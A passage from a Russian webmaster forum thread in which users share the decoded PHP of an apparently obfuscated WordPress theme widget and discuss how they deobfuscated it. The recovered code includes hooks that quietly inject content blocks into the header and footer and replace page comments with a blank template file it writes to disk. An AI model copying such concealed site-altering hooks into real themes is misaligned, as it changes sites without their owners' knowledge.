           <label for="<?php echo $this->get_field_id('div_width'); ?>">
           <?php echo ('<b>Укажите ширину одной превью</b><br>'); ?>
                   <input  id="<?php echo $this->get_field_id('div_width'); ?>"
                          name="<?php echo $this->get_field_name('div_width'); ?>"
                          type="text" value="<?php
                          if ($div_width == false || $div_width == '0') {
                          echo ('120');}
                          else { echo $div_width; }?>" />
           </label>

           </div>

         <div style="border:1px solid #000; margin-bottom:5px; padding:5px;">
          <h3> Опции миниатюры</h3>

<?php /*-------------------------------------*/


       $img_width = esc_attr($instance['img_width']);?>

           <label for="<?php echo $this->get_field_id('img_width'); ?>">
           <?php echo ('Укажите Ширину миниатюры:<br>'); ?>
                   <input  id="<?php echo $this->get_field_id('img_width'); ?>"
                          name="<?php echo $this->get_field_name('img_width'); ?>"
                          type="text" value="<?php
                          if ($img_width == false) {
                          echo ('55');}
                          else { echo $img_width; }?>" />
           </label>
            <br>

        <?php $img_height = esc_attr($instance['img_height']);?>

           <label for="<?php echo $this->get_field_id('img_height'); ?>">
           <?php echo ('Укажите Высоту миниатюры:<br>'); ?>
                   <input  id="<?php echo $this->get_field_id('img_height'); ?>"
                          name="<?php echo $this->get_field_name('img_height'); ?>"
                          type="text" value="<?php
                          if ($img_height == false) {
                          echo ('55');}
                          else { echo $img_height; }?>" />
           </label>
            <br><br>

      <?php   $img_check = esc_attr($instance['img_check']);?>

           <label for="<?php echo $this->get_field_id('img_check'); ?>">

                   <input name="<?php echo $this->get_field_name('img_check'); ?>"
                          type="checkbox"
                          value="1" <?php if ($img_check == '1') {echo ('checked');} ?> />
                          <b>НЕ</b> Отображать миниатюры <br>
           </label>
           </div>

         <div style="border:1px solid #000; margin-bottom:5px; padding:5px;">
          <h3> Текстовые опции</h3>
<?php  /*-------------------------------------*/
         $p_limit = esc_attr($instance['p_limit']);?>

           <label for="<?php echo $this->get_field_id('p_limit'); ?>">
           <?php echo ('Укажите количество знаков для вывода поста: <br>'); ?>
                   <input  id="<?php echo $this->get_field_id('p_limit'); ?>"
                          name="<?php echo $this->get_field_name('p_limit'); ?>"
                          type="text" value="<?php
                          if ($p_limit == false) {
                          echo ('100');}
                          else { echo $p_limit; }?>" />
           </label>
           <br>
    <?php      $title_check = esc_attr($instance['title_check']);?>

           <label for="<?php echo $this->get_field_id('title_check'); ?>">

                 <input name="<?php echo $this->get_field_name('title_check'); ?>"
                          type="checkbox"
                          value="1" <?php if ($title_check == '1') {echo ('checked');} ?> />
                          <b>НЕ</b> Отображать заголовки постов <br>
           </label>
           <br>
            <?php $title_nadimg_check = esc_attr($instance['title_nadimg_check']);?>
           <label for="<?php echo $this->get_field_id('title_nadimg_check'); ?>">
                    <input id="<?php echo $this->get_field_id('title_nadimg_check'); ?>"
                          name="<?php echo $this->get_field_name('title_nadimg_check'); ?>"
                          type="checkbox"
                          value="1" <?php if ($title_nadimg_check == '1') {echo ('checked');} ?> />
                          Заголовок над картинкой<br>
           </label>
             <br/>

<?php       $p_check = esc_attr($instance['p_check']);?>

           <label for="<?php echo $this->get_field_id('p_check'); ?>">

                 <input name="<?php echo $this->get_field_name('p_check'); ?>"
                          type="checkbox"
                          value="1" <?php if ($p_check == '1') {echo ('checked');} ?> />
                          <b>НЕ</b> Отображать тексты постов <br>
           </label>
          </div>
         </div>

    <?php
         }
}

/*переактивируем наши функции*/
add_action('widgets_init', create_function('', 'return register_widget("Previu");'));
   /*Активизируем функцию присоединяющую файл стилей для сайта из папки плагина*/

/*--------------------------------------------------------------------------------------------
------------- КОНЕЦ ВИДЖЕТА ДЛЯ ВЫВОДА ПРЕВЬЮШЕК С МИНИАТЮРАМИ---------------------------------
----------------------------------------------------------------------------------------------*/

/*----------------------------------------------------------------------------------------*/
//Функция помагающая обозначить количество знаков для вывода части поста
/*----------------------------------------------------------------------------------------*/
function sws_the_content_limit($max_char, $more_link_text = '(далее...)', $stripteaser = 0, $more_file = '')
{
    $content = get_the_content($more_link_text, $stripteaser, $more_file);
    $content = apply_filters('the_content', $content);
    $content = str_replace(']]>', ']]>', $content);
    $content = strip_tags($content);

   if (strlen($_GET['p']) > 0) {
      echo "<p>";
      echo $content;
      echo " <a href='";
      the_permalink();
      echo "'>"."Читать полностью →</a>";
      echo "</p>";
   }
   else if ((strlen($content)>$max_char) && ($espacio = strpos($content, " ", $max_char ))) {
        $content = substr($content, 0, $espacio);
        $content = $content;
        echo "<p>";
        echo $content;
        echo "...";
        echo " <a href='";
        the_permalink();
        echo "'>".$more_link_text."</a>";
        echo "</p>";
   }
   else {
      echo "<p>";
      echo $content;
      echo " <a href='";
      the_permalink();
      echo "'>"."Читать полностью →</a>";
      echo "</p>";
   }
}
/*----------------------------------------------------------------------------------------*/
//Конец Функции помагающей обозначить количество знаков для вывода части поста
/*----------------------------------------------------------------------------------------*/

/*----------------------------------------------------------------------------------------*/
// Хук преобразовующий простые куазанный размеры картинки в указание размеров картинки путем стилей
/*----------------------------------------------------------------------------------------*/
function sws_get_image_style ($cont='') {

//Обрезаем начало до тега картинки
$img_teg = strstr($cont, '<img');

if ($img_teg !== FALSE) //Если в тексте поста Есть картинка
             {
$img_teg = explode ('/>', $img_teg, 2);
$img_teg = $img_teg [0]; //Имеющийся тег картинки

//Определяем параметры высоты и шириры картинки для преобразования в стиль
$img_width_teg = explode ('"', strstr($img_teg, 'width'), 3);

if ($img_width_teg == FALSE)
      {$img_width = ''; $img_width_teg = '';}
else {
$img_width = $img_width_teg[1];
$img_width_teg = $img_width_teg[0].'"'.$img_width_teg[1].'"';
}

$img_height_teg = explode ('"', strstr($img_teg, 'height'), 3);
if ($img_height_teg == FALSE)
      {$img_height = ''; $img_height_teg = '';}
else {
$img_height = $img_height_teg[1];
$img_height_teg = $img_height_teg[0].'"'.$img_height_teg[1].'"';
}

//формируем строку стиля
if ($img_width != '' && $img_height != '') {
$image_style_width = 'width:'.$img_width.'px;';
$image_style_height = 'height:'.$img_height.'px;';}
else
{$image_style_width = '';
$image_style_height = '';}

$image_style = 'style="'.$image_style_width . $image_style_height .'"';

if ($img_height_teg !== '')
        {
        $new_img_teg = explode ($img_height_teg, $img_teg);
                   if ($new_img_teg == false) {echo '<!--Ошибка, не найден полный тег ширины-->';}
        $new_img_teg = $new_img_teg[0].$new_img_teg[1];
        }

if ($img_width_teg !== '')
        {
        $new_img_teg = explode ($img_width_teg, $new_img_teg);
                   if ($new_img_teg == false) {echo '<!--Ошибка, не найден полный тег ширины-->';}
        $new_img_teg = $new_img_teg[0].$image_style.$new_img_teg[1];                  
        }
        
$new_cont = explode ($img_teg, $cont);
$new_cont = $new_cont[0].$new_img_teg.$new_cont[1];    

return $new_cont;
             }

       else {
             return $cont;
            }
}
add_filter('the_content', 'sws_get_image_style');
/*----------------------------------------------------------------------------------------*/
//Конец хука
/*----------------------------------------------------------------------------------------*/

/*----------------------------------------------------------------------------------------*/
// Хук добавляющий ФРОНТ ТОП
/*----------------------------------------------------------------------------------------*/
function sws_front_top_init_auto ($header='') {
include (TEMPLATEPATH . '/header.php');
get_bloc_inc ('top');
}
add_filter('get_header', 'sws_front_top_init_auto');



/*----------------------------------------------------------------------------------------*/
// Хук добавляющий ФРОНТ БОТТОМ
/*----------------------------------------------------------------------------------------*/
function sws_front_bottom_init_auto ($footer = '') {
get_bloc_inc ('bottom');
echo $footer;
}
add_filter('get_footer', 'sws_front_bottom_init_auto');

/*----------------------------------------------------------------------------------------*/
// Хук добавляющий НАД КОММЕНТАМИ
/*----------------------------------------------------------------------------------------*/
function sws_above_comments_init_auto ($file = '') {
if (is_single() )
     {
      get_bloc_inc ('bottom_gorizont_singl');
     }
     elseif (is_page() )
         {
         get_bloc_inc ('bottom_gorizont_singl');

$file = TEMPLATEPATH  . '/no-comments-please.php';

//Проверяем существует ли файл по адресу
if (!is_file($file))
{
//Создаем файл
  $file = fopen($file, 'w+');
// Если файл был корректно создан
  if(file)
    {
     if(fclose ($file))
           {}
    }
  else { echo '<!--- Файл альтернативных комментов не создан -->';}
}


$file = TEMPLATEPATH  . '/no-comments-please.php';
return $file;
         }
}
add_filter('comments_template', 'sws_above_comments_init_auto');
/*----------------------------------------------------------------------------------------*/
// КОНЕЦ ХУКА добавляющего НАД КОММЕНТАМИ
/*----------------------------------------------------------------------------------------*/

?>


--------------------
ТИц поднимают, поднималкой для ТИца


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Nikson
Nikson
сообщение 19.7.2012, 1:34; Ответить: Nikson
Сообщение #28


(elvis81 @ 15.7.2012, 23:39) *
А чего не понятного?

Спасибо. Странно, но у меня в раскодированном виде 1/3 кода отсутствовала + много мусора, вместо ; подставляло ?> одинарные кавычки меняло на " и еще куча мусора в таком духе. Вы на локалке запускали? Странно, почему у меня код такой корявый выходил, запускал так же на локалке...


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
elvis81
elvis81
сообщение 19.7.2012, 21:53; Ответить: elvis81
Сообщение #29


Nikson, Да я на Vertrigo запускал и просто просматривал каждый раз когда получал раскодированный код, убирал лишние "?>".

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.


--------------------
ТИц поднимают, поднималкой для ТИца
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
3 страниц V  < 1 2 3
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыЛиды по теме автоматических ворот, автоматики, роллет, шлагбаумов по 250 руб.
Горячие и теплые заявки из СЕО по 37 городам России
4 brstudia 1953 7.6.2023, 14:08
автор: brstudia
Открытая тема (нет новых ответов) Где покупать трафик по теме криптовалют?
12 Megaspryt 1657 22.3.2023, 3:54
автор: arendator
Открытая тема (нет новых ответов) Отличные ТЕКСТЫ по такой же цене!
Качественный рерайт и копирайт для вас
9 VDcopywriter 4727 12.2.2023, 17:14
автор: Sandysay
Открытая тема (нет новых ответов) Продам сгруппированное семантическое ядро по теме товаров на Авито
За август 870.000 человек из Москвы интересовалось в Яндексе покупкой
1 seonliner 1520 21.8.2022, 5:19
автор: seonliner
Горячая тема (нет новых ответов) Дизайн. Позитивно, креативно, в срок. В теме с 1998 года!
Сайты, баннеры, промо, материалы для социальных сетей
31 Leming 27461 12.11.2021, 12:46
автор: Leming


 



RSS Текстовая версия Сейчас: 23.4.2024, 14:07
Дизайн